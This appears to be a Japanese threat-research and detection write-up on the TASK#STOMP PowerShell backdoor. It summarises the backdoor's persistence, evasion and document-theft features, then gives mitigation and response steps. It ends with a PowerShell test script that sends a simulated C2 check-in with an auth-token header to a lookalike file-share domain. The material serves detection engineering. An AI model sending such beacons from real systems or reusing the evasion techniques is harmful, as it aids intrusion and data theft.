TASK#STOMP: ドキュメント窃盗とリモートアクセスのためのPowerShellバックドア

概要

TASK#STOMPはVBScriptのオーケストレーションを用いて、複数の持続性メカニズムを確立する、PowerShellベースの堅牢なバックドアです。このマルウェアは、ランタイムのC#コンパイルを利用してTLS証明書の検証を回避し、スパイ活動のための冗長な2つのC2チャネルを維持します。その機能には、自動化された文書窃盗、監視、妥協されたWindowsシステム上での任意のリモートコマンド実行が含まれます。

調査

Securonix Threat Researchは、スクリプト駆動のWindows感染チェーンの静的および動的解析を行いました。研究者たちはBase64でエンコードされたペイロードをデコードしました。含まれるのは diag_pack.dat and win_conn_cfg.datであり、実行プロセスツリーを再構築しました。この調査では、タイムストンピング、スケジュールされたタスクの回転、ランタイムの.NETコンパイル技術がセキュリティ検出を回避するために使用されていることも判明しました。

軽減策

ディフェンダーは、特に wscript.exe or cscript.exe が schtasks.exe をユーザ書き込み可能ディレクトリにXML定義を保存して起動する際に、疑わしいプロセスの関係を監視するべきです。PowerShellスクリプトブロックログ記録とAMSIテレメトリを有効にすることで、メモリ内ペイロードのデコードを特定するのに役立ちます。既知のC2ドメインをブロックし、予想外の csc.exe がPowerShellから生成された子プロセスを検出することで、さらに実行を妨げることができます。

対応

TASK#STOMP活動が検出された場合、対応者はスケジュールされたタスクやスタートアップフォルダ内のエントリーを含む全ての持続性のアンカーを協調的に削除するべきです。関連する WinDefendSvc ディレクトリ内のアクティブなVBScriptおよびPowerShellインスタンスは終了されるべきです。タスクXMLファイルおよび配置された .dat ペイロードは、修正の前に法医学分析のために保存されるべきです。

キーワード： TASK#STOMP, PowerShellバックドア, VBScript, マルチアンカ持続性, C#コンパイル, TLS証明書検証, 冗長C2, 文書窃盗, 監視, リモートコマンド実行, Securonix Threat Research, Base64, diag_pack.dat, win_conn_cfg.dat, タイムストンピング, スケジュールタスクの回転, .NETコンパイル, wscript.exe, cscript.exe, schtasks.exe, スクリプトブロックロギング, AMSI, csc.exe, WinDefendSvc.

シミュレーション実行

• 攻撃の説明とコマンド： 攻撃者はTASK#STOMPバックドアを使用してワークステーションに持続性を成功裏に確立しています。さらに指示を受信し盗まれたデータを送信するため、マルウェアはPowerShellセッションを開始します。このスクリプトは、ファイル共有サービスを模倣したドメインと通信することで正規のWebトラフィックを装うように設計されています（corecloudfileshare.xyz）。C2と通信できるのは許可されたバックドアのみであることを保証するため、スクリプトにはHTTPリクエストヘッダーにハードコーディングされた X-Auth-Token が含まれています。この特定の送信先とヘッダーの組み合わせが検出ロジックの主なトリガーです。

• 回帰テストスクリプト：

  # TASK#STOMPシミュレーションスクリプト
  # 目的：C2通信を模倣して検出ルールをトリガー
  
  $C2Domain = "http://corecloudfileshare.xyz/api/checkin"
  $Headers = @{
      "X-Auth-Token" = "STOMP_DEBUG_TOKEN_9928374"
      "User-Agent"   = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
  }
  
  Write-Host "[+] $C2Domain へのシミュレートされたC2通信を開始しています..."
  try {
      # ドメインは実際のテスト環境で解決しないため、-ErrorAction SilentlyContinueを使用します
      Invoke-WebRequest -Uri $C2Domain -Headers $Headers -Method Get -ErrorAction SilentlyContinue
      Write-Host "[+] コマンドが送信されました。"
  } catch {
      Write-Host "[!] 接続に失敗しました（存在しないドメインの場合は予想通りですが）、ただしテレメトリが生成されるはずです。"
  }

• クリーンアップコマンド：

  # シミュレーションスクリプトによって作成された永続的なアーティファクトはありません。
  # ファイルがドロップされた場合は、次を使用: Remove-Item -Path "C:pathtosimulated_malware.exe" -Force
  Write-Host "[+] シミュレーションのクリーンアップが完了しました。削除されたアーティファクトはありません。"